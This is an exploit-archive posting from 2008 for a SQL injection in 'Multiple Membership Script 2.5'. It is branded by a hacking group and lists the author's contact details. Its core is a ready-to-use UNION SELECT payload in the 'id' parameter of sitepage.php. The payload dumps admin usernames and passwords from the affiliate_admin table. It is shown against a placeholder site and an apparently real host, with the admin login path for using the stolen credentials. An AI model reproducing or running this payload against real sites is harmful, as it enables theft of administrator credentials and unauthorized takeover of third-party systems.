[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Multiple Membership Script 2.5 (id) SQL Injection Vulnerability
# Published : 2008-12-05
# Author : ViRuS_HaCkErS
# Previous Title : phpPgAdmin <= 4.2.1 (_language) Local File Inclusion Vulnerability
# Next Title : Merlix Educate Servert (Bypass/DD) Multiple Remote Vulnerabilities
================================================
Multiple Membership Script V 2.5 SQL Injection Vulnerability
================================================
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. Gaza Hacker Team ..
`+---------------------------^----------|
`_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / ` /
/ XXXXXX /______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
AUTHOR : ViRuS_HaCkErS
Email : h8g@hotmail.com
SITE : gaza-hacker.com & hacker.ps
#####################################################
#####################################################
---------
Exploit
---------
SQL Injection Vulnerability
http://www.site.com/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
http://www.pricelesshost.com/mmsv2/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
Login : http://www.site.com/admin
#######################################################################################
Gaza Hacker TeaM : Le0n & Lito & cLAw & zero cod
#######################################################################################
# www.Syue.com [2008-12-05]